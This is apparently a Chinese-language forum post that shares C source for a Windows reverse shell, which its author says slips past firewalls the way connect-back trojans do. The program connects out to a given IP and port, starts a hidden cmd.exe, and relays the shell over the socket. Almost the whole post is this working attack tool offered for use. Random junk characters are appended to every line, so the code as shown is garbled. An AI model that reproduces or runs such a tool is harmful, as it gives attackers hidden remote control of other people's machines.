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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T#!>mL|9|  
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/* ============================== zdN[Uc+1Bd  
Rebound port in Windows NT b:==:d:0s  
By wind,2006/7 z.Cj%N  
===============================*/ o'2eSm0H  
#include YT(N][V  
#include kx,.)qKk  
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#pragma comment(lib,"wsock32.lib") Ho &Q }<(  
mx Nd_{n  
void OutputShell(); h}O tz "  
SOCKET sClient; `/O`%6,f1!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n !)$e;l  
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void main(int argc,char **argv) S<Dbv?  
{ ;V,L_"/X  
WSADATA stWsaData; q/O2E<=w*c  
int nRet; M2Q,&>M   
SOCKADDR_IN stSaiClient,stSaiServer; :_e[xB=Yy  
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if(argc != 3) AtQ.H-8r  
{ $ XjijD9R  
printf("Useage:\n\rRebound DestIP DestPort\n"); \n<! ld  
return; VLuHuih  
} <)7aNW.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); q G%Y& P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U5Hi9fe  
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stSaiClient.sin_family = AF_INET; OBi(]l}^O  
stSaiClient.sin_port = htons(0); YR?Y:?(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T$;S   
g=Z52y`N<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 25>R^2,LiE  
{ * %D_\0;  
printf("Bind Socket Failed!\n"); %"WENa/t  
return; ifD WN*k6  
} nPyn~3  
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stSaiServer.sin_family = AF_INET; $|K: 9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); juF9:Eah  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \.Lj A_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^r~[ 3NT  
{ wf8{v  
printf("Connect Error!"); :>FN|fz  
return; 4=Th<,<  
} t;* zr*  
OutputShell(); Am, {Fj  
} +?J  N_aR  
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void OutputShell() ciS +.%7  
{ $nt&'Xnv  
char szBuff[1024]; ?fxM 1<8  
SECURITY_ATTRIBUTES stSecurityAttributes; 0'o[ 2,  
OSVERSIONINFO stOsversionInfo; <h -)zI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZJDV'mC}  
STARTUPINFO stStartupInfo; q`xc h[H  
char *szShell; v>8.TE~2  
PROCESS_INFORMATION stProcessInformation; {4g';  
unsigned long lBytesRead; 3x~7N  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x,gk]Cf  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8T1`9ITl:  
stSecurityAttributes.lpSecurityDescriptor = 0; &%2^B[{  
stSecurityAttributes.bInheritHandle = TRUE; lHM+<Z  
p/Pus;*s  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (L(7)WbH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OxHcoNrz  
nM[yBA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I=!kPuw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @2E52$zu  
stStartupInfo.wShowWindow = SW_HIDE; hF'VqJS  
stStartupInfo.hStdInput = hReadPipe; u@Hz7Q} P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5} %R  
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GetVersionEx(&stOsversionInfo); gTj,I=3$?e  
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switch(stOsversionInfo.dwPlatformId) yrxX[Hg?@  
{ Lm[,^k  
case 1: M-@RgWvF  
szShell = "command.com"; ZID-~ 6  
break; 48:xvTE?N  
default: )U~|QdZ  
szShell = "cmd.exe"; %9cT#9!7  
break; SH)-(+72d  
} wUaWF$~y  
#Th)^Is  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .i*oZ'[X  
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send(sClient,szMsg,77,0); _Q+c'q Zkl  
while(1) 8H7#[?F  
{ L\#YFf  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >6S7#)0T  
if(lBytesRead) 5aaM;45C  
{ (.UU40:t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F!z ^0+H(  
send(sClient,szBuff,lBytesRead,0); 2E1`r@L  
} f2e;N[D  
else r^5%0_F]  
{ 8i',~[  
lBytesRead=recv(sClient,szBuff,1024,0); I8XP`Ccq  
if(lBytesRead<=0) break; ^6 wWv&G[8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sU>IETo  
} P*KIk~J  
} t+v %%N_  
NgTB4I 8P  
return; )Fx]LeI;  
}
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